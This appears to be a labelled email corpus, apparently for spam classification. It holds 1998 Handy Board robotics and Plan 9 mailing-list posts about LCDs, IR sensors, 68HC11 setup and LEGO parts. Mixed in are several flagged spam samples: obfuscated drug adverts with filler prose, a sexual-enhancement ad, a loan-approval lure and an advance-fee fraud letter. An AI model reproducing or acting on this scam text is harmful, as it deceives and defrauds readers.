FAQ's on the net for LCD's. Or goto Hitachi web site and look at the actual data sheet info http://www.halsp.hitachi.com/tech_prod/9_lcd/9_lcd/r_controllers_drivers/99r td006d1/html/99rdefrm.htm jim At 11:15 AM 5/6/98 +0000, you wrote: >Is there some documentation somewhere that shows the commands >required to talk to the display. I would like to control the display >from assembly code and I need to know what these commands are. > >I already know how to talk to the display using the A, B, C ports but >there must be some commands and data that need to be sent to the LCD. > >Thanks >-- >----------------------------------------------------------------- >ipscone@halcyon.com Shoot-To-Win! > >Protect the 2nd Amendment! Your rights may be next! >----------------------------------------------------------------- > > ",0,1 Jeroen van der Vegt ,handyboard@media.mit.edu,"Wed, 06 May 1998 21:48:25 +0200",Re: Handy Board problem,"I use the Siemens SFH506-36 instead of the Sharp, and it works just fine. I know there also is another compenent you can use, but I don't know the name of it anymore, sorry. Perhaps if Maarten Emke reads this, he knows what I mean. Be carefull by the way, the pin lay-out is different: Sharp IS1U60 1: out 2: gnd 3: vcc Siemens SFH506-36 1: gnd 2: vcc 3: out Thanks to Maarten Emke again for this info. Hope this helps, Jeroen van der Vegt, A.J.vanderVegt@ITS.TUDelft.nl -----Original Message----- From: Charley Webb To: handyboard@media.mit.edu Date: zondag 3 mei 1998 04:57 Subject: Handy Board problem >I was wondering if anyone knows where I could purchase the Sharp Is1U60 IR >detector. I have looked for it, however none of the distributors I have >checked with even carry it. >I tried Digikey, Mouser Electronics, JDR, Jameco, BG Micro, and others. > >Any information GREATLY appreciated. > >WebGard LLC dba ESSLink >World Wide Web: http://www.esslink.com >Email: info@esslink.com >Phone: (860) 693-2448 >Toll Free: 1-800-838-2302 >Fax: (860) 693-6298 > >",0,1 MAR ERICSON ,BMajik5127 ,"Wed, 06 May 1998 16:36:32 -0400",Re: * the handy-board manual*,"The HB HP ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 6 May 1998, BMajik5127 wrote: > > Hello where can I find the handyboard manual to download? > thanks -mike > ",0,0 Charley Webb ,"Jeroen van der Vegt , handyboard@media.mit.edu","Wed, 06 May 1998 19:11:27 -0400",Re: Handy Board problem,"Okay, thanks for the information... At 09:48 PM 5/6/98 +0200, Jeroen van der Vegt wrote: >I use the Siemens SFH506-36 instead of the Sharp, and it works just fine. I >know there also is another compenent you can use, but I don't know the name >of it anymore, sorry. Perhaps if Maarten Emke reads this, he knows what I >mean. >Be carefull by the way, the pin lay-out is different: > >Sharp IS1U60 >1: out >2: gnd >3: vcc > >Siemens SFH506-36 >1: gnd >2: vcc >3: out > >Thanks to Maarten Emke again for this info. > >Hope this helps, > >Jeroen van der Vegt, >A.J.vanderVegt@ITS.TUDelft.nl >-----Original Message----- >From: Charley Webb >To: handyboard@media.mit.edu >Date: zondag 3 mei 1998 04:57 >Subject: Handy Board problem > > >>I was wondering if anyone knows where I could purchase the Sharp Is1U60 IR >>detector. I have looked for it, however none of the distributors I have >>checked with even carry it. >>I tried Digikey, Mouser Electronics, JDR, Jameco, BG Micro, and others. >> >>Any information GREATLY appreciated. >> >>WebGard LLC dba ESSLink >>World Wide Web: http://www.esslink.com >>Email: info@esslink.com >>Phone: (860) 693-2448 >>Toll Free: 1-800-838-2302 >>Fax: (860) 693-6298 >> >> > WebGard LLC dba ESSLink World Wide Web: http://www.esslink.com Email: info@esslink.com Phone: (860) 693-2448 Toll Free: 1-800-838-2302 Fax: (860) 693-6298",0,1 John Sarkany ,handyboard@media.mit.edu,"Wed, 06 May 1998 19:41:49 -0700",CONFIG reg,"I have a factory fresh 68HC11A8 chip. The CONFIG reg. is set to 00x0F. How do I change it to 00x0C for the Handy Board ? Thanks, John ",0,0 Raelene Fortes ,handyboard@media.mit.edu,"Wed, 06 May 1998 14:02:17 -0700",Re: your VvALtUM,"Hi A P L V X C V m r e I a I A b o v A n A L i z i G a L I e a t R x I U n c ra A S M http://www.temaferte.com a key, a small and curious key. Here it is! he said, and handed to Thorin a key with a long barrel and intricate wards, made of silver. Keep it safe! Indeed I will, said Thorin, and he fastened it upon a fine chain that hung about his neck and under his jacket. Now things begin to look more hopeful. This news alters them much for-the better. So far we have had no clear idea what to do. We thought of going East, ",1,1 BMajik5127 ,handyboard@media.mit.edu,"Wed, 06 May 1998 21:28:27 -0400",** handyboard manual **," Hi, I am trying to download the manual but i need to set up a helper app ??? Do I need to load some software to unzip or read the manual? thanks-mike ",0,0 Ben Wirz ,PICLIST@MITVMA.MIT.EDU,"Wed, 06 May 1998 23:09:43 -0400",Wirz Electronics Summer Sale," For two weeks only, Wirz Electronics is offering a 20% discount on all SimmStick prototyping boards and kits. This includes all PIC and Atmel microcontroller boards and programmers, as well as our extremely popular PIC Starter Packages. The PIC Starter Packages are an ideal way for the PIC Newcomer to plunge into microcontroller programming, or for an experienced programmer to migrate to a new processor. Wirz Electronics' Homepage: http://wirz.com/ SimmStick Index: http://wirz.com/simmstick/ PIC Starter Packages: http://wirz.com/pic/package.html Offer Valid: May 6th to May 20th, 1998 on orders placed via our secure online order form or by fax only. Mention Internet Special #1291 for the discount. Sincerely, Ben Wirz ben@wirz.com Owner, Wirz Electronics ",0,1 Dorean Kulinski ,handyboard@media.mit.edu,"Wed, 06 May 1998 19:21:51 -0400",Re: good VAhLtUM,"Hi, V t A l L w I r U h M o X l A o N o A p X g C o I h A k L w I f S l V t I r A x G z R a A z http://www.RunaColbRea.4t.com/ enthusiasti azoi sickbe hackl Chines What are you talking about? That man in the villa, the military officer whose uniform you wear. Hes his aide! We know that. What you do not know, monsieur, is that my very first instructions came from the Crown governor. ",1,1 Paul ,handyboard@media.mit.edu,"Thu, 07 May 1998 15:01:21 +1000",counter problem,"Hi everybody Does anyone know which websites I can order some 8 bits or 6 bits counter for an encoder TTL output? Thank you for your replies ",0,0 Thomas Hauri ,Mike Davis ,"Thu, 07 May 1998 08:28:18 +0200",Re: LCD Commands,"Hi The LCD display is driven by a HD44780 Controller. Download the docs.. or check the following page http://www.cs.colostate.edu/~hirsch/LCDcontrollers/hd44780/hd44780.html bye TOM > Is there some documentation somewhere that shows the commands > required to talk to the display. I would like to control the display > from assembly code and I need to know what these commands are. > > I already know how to talk to the display using the A, B, C ports but > there must be some commands and data that need to be sent to the LCD. > > Thanks > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- ",0,1 miller@hamnavoe.demon.co.uk,9fans@cse.psu.edu,"Thu, 07 May 1998 10:43:04 -0000",Re: [9fans] Installing plan9,"The message > cmd=00, lastcmd=A0 cdsize count 14, status 0x50, error 0x00 probably means that an ATAPI cd-rom is returning 14 bytes of data instead of 18 to a Creqsense command. That's what my Mitsumi FX400 does. You can make the message go away by changing if(cp->count != 18){ /* ?Mitsumi? */ to if(cp->count != 18 && cp->count != 14){ in devata.c (it doesn't seem to do any harm). -- Richard Miller ",0,0 hamnavoe.demon.co.uk!miller,cse.psu.edu!9fans,"Thu, 07 May 1998 10:43:04 -0000",Re: [9fans] Installing plan9,"The message > cmd=00, lastcmd=A0 cdsize count 14, status 0x50, error 0x00 probably means that an ATAPI cd-rom is returning 14 bytes of data instead of 18 to a Creqsense command. That's what my Mitsumi FX400 does. You can make the message go away by changing if(cp->count != 18){ /* ?Mitsumi? */ to if(cp->count != 18 && cp->count != 14){ in devata.c (it doesn't seem to do any harm). -- Richard Miller ",0,0 Jeff Loeliger ,Mike Davis ,"Thu, 07 May 1998 11:05:57 +0100",Re: Testing with PCBUG11 - Getting Close,"Mike, I used PCBUG11 to test my handyboards. The reason that you can not access the SRAM is that PCBUG11 boots single-chip mode and there is not external bus. You need change HPRIO from $85 to $A5. -Jeff Mike Davis wrote: > > My problem turned out to be with Win 95. If I boot to DOS the > PCBUG11 program works fine. It fails to work when working from a DOS > window. > > I can now communicate with the MCU so my RS232 must be fine. When > working from the command line in PCBUG, I cannot access the SRAM. > A15 never changes from LOW. > > It is as though I cannot access anything except the internal MCU > locations. I can read/write EEPROM ok. > > 1) Is it possible to access external SRAM from PCBUG? > 2) Shouldn't one be able to control the port data from PCBUG? I've > tried but get BAD ADDRESS (or BAD MEMORY something like that). Like > it's not there > 3) Still would like to know baud rate in boot mode? > 4) Is the LCD manual on the web somewhere? Maybe I'll play with that > tomorrow. > > Looks like I'll have fun tomorrow playing with this. > > > From: ""Mike Davis"" > > > I have assembled the HandyBoard up to the point of adding the SRAM. > > I am still waiting for my SRAM to arrive. But, I want to check out > > as much as possible. > > > > Every step checked out fine to this point. > > > > I have two options at this point. I have an 6264 (8K x 8) that will > > give me 8K for not (not using IC yet). I also have an 811E2 in the > > board for now. > > > > I tired to run PCBUG, to test the communications with the MCU but I > > get the following error each time I try to communicate with the > > board: > > > > Fatal Error[9] - Hardware communication failure. PCBug terminated. > > > > This error makes me wonder if something might be wrong with my RS232. > > > > Questions: > > 1) What should the baud rate be during boot sequence? > > 2) Does PCBug set it automatically? > > 3) Do I have to set it from Win95 before running PCBug? > > 4) Does anyone have any suggestions how to test the RS232 using > > PCBug11? > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! Your rights may be next! > > ----------------------------------------------------------------- > > > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- -- ______________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com \\""/ Systems Engineering Department\\ \\ phone: +44-1355-56-5400 ( ) Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 | East Kilbride, Scotland \\ \\_____________________________________________________________________\\",0,0 Jeff Loeliger ,Mike Davis ,"Thu, 07 May 1998 11:11:37 +0100",Re: MODB - How Is Expanded Mode Entered,"Mike, I never goes into expanded mode! The Handyboard operates in special test mode and special bootstrap mode. Special test mode works like expanded mode but some the internal registers are not protected. Mike Davis wrote: > > If MODB pin is always grounded, how does the MCU get into expanded > mode to access the 32K SRAM? > > The data sheet shows MODB HIGH to enter expanded mode. It show MODB > LOW to enter single chip mode. > > What am I missing? > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- -- Jeff ______________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com \\""/ Systems Engineering Department\\ \\ phone: +44-1355-56-5400 ( ) Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 | East Kilbride, Scotland \\ \\_____________________________________________________________________\\ ",0,0 Pandit Panburana ,"sarkany@idirect.com, handyboard@media.mit.edu","Thu, 07 May 1998 06:52:00 -0400",Re: CONFIG reg,"John, If you use Window version of pcode downloader, the program also allow you to change the CONFIG. -Pandit ---------- > From: John Sarkany > To: handyboard@media.mit.edu > Subject: CONFIG reg > Date: Wednesday, May 06, 1998 10:41 PM > > I have a factory fresh 68HC11A8 chip. The CONFIG reg. is set to 00x0F. > How do I change it to 00x0C for the Handy Board ? > > Thanks, > John >",0,0 Eldred Colangelo ,georgina@aleve.media.mit.edu,"Thu, 07 May 1998 01:40:53 -0700",Re: AMwBtEN news,"Hi, C X V L P V A I a I e r A m A n A v o L b L a G i z I i I x R t a U e S A ra c M n http://www.essanears.com shells, a bit of bat-wing, a sharp stone to sharpen his fangs on, and other nasty things. He tried to think what other people kept in their pockets. Knife! he said at last. Wrong! said Bilbo, who had lost his some time ago. Last guess! Now Gollum was in a much worse state than when Bilbo had asked him the egg-question. He hissed and spluttered and rocked himself backwards and ",1,1 Ado ,handyboard@media.mit.edu,"Thu, 07 May 1998 17:22:53 -0000",," Could you please take me off the mailing list ? Thank you very much indeed Antony Kanouras ",0,0 Brian Lavery ,handyboard@media.mit.edu,"Fri, 08 May 1998 15:41:02 +1000","""Undocumented I-C""","Well I finally worked out something that I knew was there, but did not know how to access: The PCODE.ASM file lists a pcode routine called ""Pbench"". The code is in there, and it measures the time available to the IC current task, excluding time stolen by interrupts executing (mainly the TOC4-1000Hz system tick). Not finding how to call it from Interactive C, I wrote my own equivalent version some time ago as an ICB assembler routine, and I used it a lot myself. Now last night I downloaded the V2.8... IC unix sources from the handyboard site at MIT, and the use of PBENCH is revealed. But secret #1: To a knowledgeable WIN hacker, but a Unix ignoramus, how to fetch the UNIX archive stuff to a WIN machine? Netscape allowed me to download the files: names like this: ""......286...beta_tar.Z"". But Netscape renamed them while saving: like this: ""....beta_tar.tar"". WINZIP32 (recent version) thought it could extract from this, but it started, then gave up with a ""0 records"" error. So I renamed them back to the original names: like this: ""....beta_tar.Z"". Now Winzip tackled these files OK (but in a double-stage mode I had not seen before on the familiar ZIP files). I got a whole directory full of C H PRO LEX and other files from the original unix source. Hog Heaven! I gather that the TAR is the archiving of the whole directory structure up as a bundle, and the Z is the compression function. And fortunately the newer WINZIP has enough smarts to undo both stages for me. Secret #2: I found Pbench function tied to a token called BENCHMARK with a syntax in Interactive-C of: _benchmark() So I fired up my H-B and I-C, typed in ""_benchmark();"" and IT WORKED: it returned 1467 or something like that, varying a bit on each invocation. It means: the number of CPU clock cycles (out of 2000) devoted to PCODE/IC current task in one tick cycle (between successive tiks). The missing (2000-1467 = 533) cycles are consumed by interrupt routine functions: tic, infrared RX, RTI if you are using it, etc. Secret #3: There are other internal keywords in there that I dont know the use of, like WHENEVER. Maybe they are strictly internal, not for use by the user? Secret #4: I now actually use commercial IC3.2 windows IDE version - and I wouldn't go back to old 2.86 Dos-line one. But my PCODE.ASM / PCODE_HB.S19 are my own VERY heavily worked-over variant of PCODE.ASM V2.86. Are they compatible, IC3.2 with pcode 2.86? Initially, no. IC3.2 objected to the pcode version number 2.86. Obviously this is checked by IC as it starts up. So I altered the ""version number"" near the end of PCODE.ASM to read 3.10, and recompiled the PCODE.S19. That works fine. But was I sure that the PCODE token table (and the code routines behind each token) were unchanged from V2.86? Still checking - but I think it may be untouched. Certainly I have had no strange behaviour from my ""mixed"" system that might suggest conflicting use of pcode interpreter functions. And certainly the token table (I think it is at 0xC100 from memory?) is just the same length as before when I inspect the S19 files of 2.86 versus 3.1. Anyone know for sure? ""Scratch in mines - you might find gold."" Brian Lavery",0,0 Kurtis ,'Magdalena' ,"Fri, 08 May 1998 00:15:04 -0600",Increase Penis Size," Hi friend: We have quality product to help you Enjoy better sex life. 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I would appreciate it very much if anyone can contact me on this. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ FELIX ADEKOLA (YEAR IV ) DEPT. of ELECTRICAL & COMPUTER ENGINEERING DALTECH, DALHOUSIE UNIVERSITY (formerly TUNS) http://is2.dal.ca/~adekolaf ""All the resources we need are in the mind"" --T.Roosevelt., Jr. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ",0,1 Charley Webb ,"adekolaf@is2.dal.ca, handyboard@media.mit.edu","Sat, 09 May 1998 00:20:39 -0400",Re: LEGO sets 9605,"Contact Lego Shop At Home 1-800-453-4652 They are Enfield Ct, and as a matter of fact, I just received thier product catalogs, took less then 3 days to get them.. At 12:32 AM 5/9/98 +0000, adekolaf@is2.dal.ca wrote: >Does anyone know where I can buy LEGO sets 9605 or the site of the company that manufactature this >product ? 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To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://paymortz.com Best Regards Don Nut Loan Manager http://paymortz.com/lit.html handyboard@media.mit.edu wrote: > RERE:WE approved yours loan kth891qpn0 ",1,1 Afonso Dos Santos ,handyboard@media.mit.edu,"Sat, 09 May 1998 10:44:32 +0200",Afonso Dos Santos,"Dear sir, I am the translator to the former Prime Minister of Sao Tome and Principe in Africa.I am contacting you on behalf of my Boss. My name is Afonso dos Santos. We have some funds in financial instrument valued at $8.1million . I am contacting you as regards investment in your country ,these funds can be used for investment within the next ten years.Any business that is profitable and viable in your country, subject to accounts and audit. The profit after tax and other miscellaneous expenses, will be splited at the end of every fiscal year. Please I will like to know your interest on this proposal. Thanks as I await your response. Yours Faithfully Afonso Dos Santos ",1,0 BMajik5127 ,handyboard@media.mit.edu,"Sat, 09 May 1998 13:10:32 -0400",** adobe acrobat reader **," Hello, I just loaded adobe acrobat reader, what do I need to do to read the manual for the handyboard? Can I download it and read it off line? Do I have to somehow open adobe? while online? HELP!!!!! I really dont know what to do to run this program ! thanks -Mike ",0,0 Rent-A-Nerd ,handyboard@media.mit.edu,"Sat, 09 May 1998 12:13:44 -0000",LEGO parts,"Is it possible to buy individual legos that are not normally sold individually? For exaple, the pneumatic parts are advertised as being sold seperately. But several sets have an air compression chamber that is not advertized as being available to be individually sold. Is there any way I can order just one of these, short of buying the whole set that contains the compression chamber? thanks phil phil@rent-a-nerd.com ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 09 May 1998 12:49:36 -0600",Re: LEGO parts,"At 12:13 PM 5/9/98 -0000, phil wrote: >Is it possible to buy individual legos that are not normally sold >individually? For exaple, the pneumatic parts are advertised as being sold >seperately. But several sets have an air compression chamber that is not >advertized as being available to be individually sold. Is there any way I >can order just one of these, short of buying the whole set that contains the >compression chamber? The air compressor (the one meant to be driven by a motor) is offered in the Lego Shop At Home Spring '98 catalog as part #5117, $4.00, and it comes with a few pulley wheels. Often, even if they don't mention it in their current catalog, if you have the part number they can get it for you. If you're looking for the hand operated air pump instead, that one is part #5107, $3.25. Another source for Lego Technics is the Pitsco Dacta catalog. You can call them at 1-800-362-4308. Be sure to compare prices, though, because sometimes there are huge differences in price between the two companies. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 09 May 1998 13:06:24 -0600",Re: ** adobe acrobat reader **,"At 01:10 PM 5/9/98 EDT, Mike wrote: > I just loaded adobe acrobat reader, what do I need to do to read the manual >for the handyboard? >Can I download it and read it off line? >Do I have to somehow open adobe? while online? HELP!!!!! >I really dont know what to do to run this program ! The first step is to install Acrobat Reader per the instructions that come with it. Sounds like you've done that. The next step (provided you have a PC running Windows) is to go to the appropriate web page and right-click on the link for the HB manual. A context menu pops up, at which point you choose ""Save Link"" (or ""Save As"" or whatever it is), and select a folder. After the file is downloaded, you simply double-click on it in Windows Explorer. That ought to start Acrobat Reader automatically. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,0 Colin Barnard ,"""handyboard@media.mit.edu"" ","Sat, 09 May 1998 23:27:26 +0100",Handyboard PCB's available in UK,"I have a small stock of Handyboard PCBs which I can supply as a set of HB and IF/Charger board for £19-50 sterling including first class post to UK locations or Airmail to Europe. I will also include the ZTX 614 darlington with every set of boards ordered. Payment by Visa, Mastercard or Sterling cheque accepted. Colin Barnard Miranda Robotics 'O brave new world that has such creatures in it' 54 London Road Teynham Kent ME9 9QN England +44 (0)1795 521167 ",0,0 Mike Davis ,Jeff Loeliger ,"Sat, 09 May 1998 23:55:48 +0000",Re: Testing with PCBUG11 - Getting Close,"Thanks, I'll try this. I did finally realize that the HandyBoard is not supposed to boot to expanded mode. Thanks again. > Date: Thu, 07 May 1998 11:05:57 +0100 > From: ""Jeff Loeliger"" > Organization: Motorola Semiconductor Products Sector > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: Testing with PCBUG11 - Getting Close > Mike, > > I used PCBUG11 to test my handyboards. The reason that you can not access the > SRAM is that PCBUG11 boots single-chip mode and there is not external bus. You > need change HPRIO from $85 to $A5. > > -Jeff > > Mike Davis wrote: > > > > My problem turned out to be with Win 95. If I boot to DOS the > > PCBUG11 program works fine. It fails to work when working from a DOS > > window. > > > > I can now communicate with the MCU so my RS232 must be fine. When > > working from the command line in PCBUG, I cannot access the SRAM. > > A15 never changes from LOW. > > > > It is as though I cannot access anything except the internal MCU > > locations. I can read/write EEPROM ok. > > > > 1) Is it possible to access external SRAM from PCBUG? > > 2) Shouldn't one be able to control the port data from PCBUG? I've > > tried but get BAD ADDRESS (or BAD MEMORY something like that). Like > > it's not there > > 3) Still would like to know baud rate in boot mode? > > 4) Is the LCD manual on the web somewhere? Maybe I'll play with that > > tomorrow. > > > > Looks like I'll have fun tomorrow playing with this. > > > > > From: ""Mike Davis"" > > > > > I have assembled the HandyBoard up to the point of adding the SRAM. > > > I am still waiting for my SRAM to arrive. But, I want to check out > > > as much as possible. > > > > > > Every step checked out fine to this point. > > > > > > I have two options at this point. I have an 6264 (8K x 8) that will > > > give me 8K for not (not using IC yet). I also have an 811E2 in the > > > board for now. > > > > > > I tired to run PCBUG, to test the communications with the MCU but I > > > get the following error each time I try to communicate with the > > > board: > > > > > > Fatal Error[9] - Hardware communication failure. PCBug terminated. > > > > > > This error makes me wonder if something might be wrong with my RS232. > > > > > > Questions: > > > 1) What should the baud rate be during boot sequence? > > > 2) Does PCBug set it automatically? > > > 3) Do I have to set it from Win95 before running PCBug? > > > 4) Does anyone have any suggestions how to test the RS232 using > > > PCBug11? > > > -- > > > ----------------------------------------------------------------- > > > ipscone@halcyon.com Shoot-To-Win! > > > > > > Protect the 2nd Amendment! Your rights may be next! > > > ----------------------------------------------------------------- > > > > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! Your rights may be next! > > ----------------------------------------------------------------- > > -- > ______________________________________________________________________ > \\ Jeff Loeliger Motorola SPS \\ > \\ email: r12110@email.sps.mot.com \\""/ Systems Engineering Department\\ > \\ phone: +44-1355-56-5400 ( ) Powertrain Systems Division \\ > \\ fax : +44-1355-56-6300 | East Kilbride, Scotland \\ > \\_____________________________________________________________________\\ > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Mike Davis ,Thomas Hauri ,"Sat, 09 May 1998 23:55:48 +0000",Re: LCD Commands,"I have those docs. I knew that it was driven by the hd44780 but the summary page on their web site indicated that the 44780 could drive 2 lines of 8 characters and I assumed there must be a micro on the board to handle the 2x16 and that there might be some other command set other than the 44780. Anyway I now have the docs. thanks, > Date: Thu, 07 May 1998 08:28:18 +0200 > From: Thomas Hauri > Organization: Technikum Winterthur Ingenieurschule > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: LCD Commands > Hi > > The LCD display is driven by a HD44780 Controller. > Download the docs.. > > or check the following page > http://www.cs.colostate.edu/~hirsch/LCDcontrollers/hd44780/hd44780.html > > bye > > TOM > > > > > Is there some documentation somewhere that shows the commands > > required to talk to the display. I would like to control the display > > from assembly code and I need to know what these commands are. > > > > I already know how to talk to the display using the A, B, C ports but > > there must be some commands and data that need to be sent to the LCD. > > > > Thanks > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! 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That's what my Mitsumi FX400 does. You can make the message go away by changing if(cp->count != 18){ /* ?Mitsumi? */ to if(cp->count != 18 && cp->count != 14){ in devata.c (it doesn't seem to do any harm). -- Richard Miller",0,0 miller@hamnavoe.demon.co.uk,9fans@cse.psu.edu,"Sun, 10 May 1998 17:24:29 -0000",Re: [9fans] Installing plan9,"> that print will only come from the driver if debugging is on (is it?). I think you are looking at a not-yet-released version of the driver. In the most recent update of devata.c on plan9.bell-labs.com, the Creqsense message is printed even when debugging is off, and is followed by an error(Eio). But you are right that the real problem is probably the 2GB disk limitation in devata.c. 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If anyone can direct me to a company in the Netherlands which sells these parts, I would very much like to know. Thanks. >Be carefull by the way, the pin lay-out is different: > >Sharp IS1U60 >1: out >2: gnd >3: vcc > >Siemens SFH506-36 >1: gnd >2: vcc >3: out > >Thanks to Maarten Emke again for this info. > >Hope this helps, > >Jeroen van der Vegt, >A.J.vanderVegt@ITS.TUDelft.nl ************************************************* * de groetjes van..... Paul Wiegmans * * spectral@simplex.nl * * fidonet 2:500/143.1 * * ICQ #10542882 * ************************************************* ",0,0 Paul Wiegmans ,"Mike Davis , handyboard@media.mit.edu","Tue, 19 May 1998 21:07:50 +0200",Re: LCD Commands,"Look at http://www.iaehv.nl/users/pouweha/ for all the information that you ever want to know about LCDs : how to interface, how to control, sample source code and all commands. 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I would like to ask a question to those who have experience with these EEPROM parts. I have been told that the 811E2 part will not work with IC because the EEPROM overlaps the SRAM. So, why does mine work? What kind of problems can I expect by using this part? The config reg. in this part, apparently, gets reset back to the original location after every reset. I would like to move the EEPROM to some other location, maybe 2000Hex to make my handyboard completely compatible. How can I do this if the config reg is continually reset? What specific? Assuming the E1 is a better part than the 811E2 for the handyboard,... How compatible is the E1FN (512 EEPROM) part with the handyboard? What specifically is required to get it to work? -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! 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Your rights may be next! ----------------------------------------------------------------- ",0,0 Thomas Hauri ,Mike Davis ,"Mon, 18 May 1998 09:29:24 +0200",Re: Pad/Hole Widths,"Hi Mike check with your board manufacturer for production specification. The via hole size I resently used was 12mil with a via size of 16mil. For Pad/Hole Width use the specifications of the parts you want to put on your board. A hole should be 8-10mil wider than the pin you want to put in. Tom > Does anyone know what typical Pad/Hole Widths are for thru-hole > parts? What about via/hole widths? > > Is there a web site for PCB geometry sizes that someone could point > me to? > > Thanks > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- ",0,0 """Bernd.Klein"" ","""handyboard@media.mit.edu"" ","Mon, 18 May 1998 10:09:30 +0200",Harddisk-Crash - HELP,"Hi all, during a harddiskcrash on my computer, i lost all my handyboard mailings. I the past i had contact with view german people but i haven´t any mail-adresses. Please contact me again !!!!! Bye Bernd Klein ;-) P.S. Is there a way to get all messages from April to today ? ",0,0 Will Bain ,handyboard@media.mit.edu,"Mon, 18 May 1998 10:38:35 -0600",Re: Harddisk-Crash - HELP,"At 10:09 AM 5/18/98 +0200, Bernd wrote: >P.S. Is there a way to get all messages from April to today ? The Handy Board web site has a mail list archive page, from which you can download archives of past postings. The last item on the list is entitled ""Jan 1997 -- present"" (which means it's probably huge). Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conservatives: They define themselves Will Bain, in terms of what they oppose. & Tatoosh --George Will ",0,0 Mike Davis ,Thomas Hauri ,"Mon, 18 May 1998 09:38:27 +0000",Re: Pad/Hole Widths,"Thanks, I was going to use a pad/hole size of .050/.028. The default size of my library uses .050/.025. I checked some pin size data and it shows .015 (min) to .023 (max). Allowing .008 to .010 extra and .003 for plating, it seems that the best size might be something more like .065 for the pad and .034-.036 for the hole size. Vias are a little less important. I was going to use .040/.020 but that seems a little large. I checked the gerber files for then handyboard and they have only two hole sizes, in this range. One is .028 and the other is .035. I would assume the via hole is .028 and the pin hole is .035 (what I calculated). I guess the via size is not so large after all. Thanks > Date: Mon, 18 May 1998 09:29:24 +0200 > From: Thomas Hauri > Organization: Technikum Winterthur Ingenieurschule > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: Pad/Hole Widths > Hi Mike > > check with your board manufacturer for production specification. > > The via hole size I resently used was 12mil with a via size of 16mil. > > For Pad/Hole Width use the specifications of the parts you want to put > on your board. > A hole should be 8-10mil wider than the pin you want to put in. > > Tom > > > > Does anyone know what typical Pad/Hole Widths are for thru-hole > > parts? What about via/hole widths? > > > > Is there a web site for PCB geometry sizes that someone could point > > me to? > > > > Thanks > > -- > > ----------------------------------------------------------------- > > ipscone@halcyon.com Shoot-To-Win! > > > > Protect the 2nd Amendment! Your rights may be next! > > ----------------------------------------------------------------- > > > > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 michaelj@wt.net,handyboard@media.mit.edu,"Mon, 18 May 1998 12:10:23 +0500",RC Servo motor internal electronics,"Has anyone out there ever seen, heard about, or thought about the details of electronic circuit built into a hobby servo motor to do the positioning and maintaining the position based on the signal pulse sent? I am interested in any information or schematics that could help me, at least academically, maybe enough to build a DC motor control board that will interface just like a hobby servo. I am in the design phase of a walking robot and see the need for 3 different size motors for each leg and have toyed with using regular DC motors. I would like to offload the detailed control of these motors from the microcontroller by interfacing them like a Futuba servo. This way the motor modules would be plug and play ""black boxes"" and could be scaled to virtually any size without the CPU knowing anything about it. This would also allow me to reduce or increase gearing on any particular motor to adjust the speed or torque required. I understand the use and need of the Pot for feedback but how can the length of the signal pulse be translated into a useful signal that can be compared to the output of the pot to indicate direction and need to move. (I do tend toward the digital end of the spectrum but am trying to understand more of the analog side) Even if you don't have any details as to their operation, any brainstorming tips would be appreciated. Mike ",0,0 Alexandru Moffat ,handyboard@media.mit.edu,"Mon, 18 May 1998 06:47:26 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! 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I am looking for the best way to wire this sensor, and I have also read that the same type of programming in IC can be used for the photo resistors as the pyrometer.... The main application I have for the pyrometer is to locate or 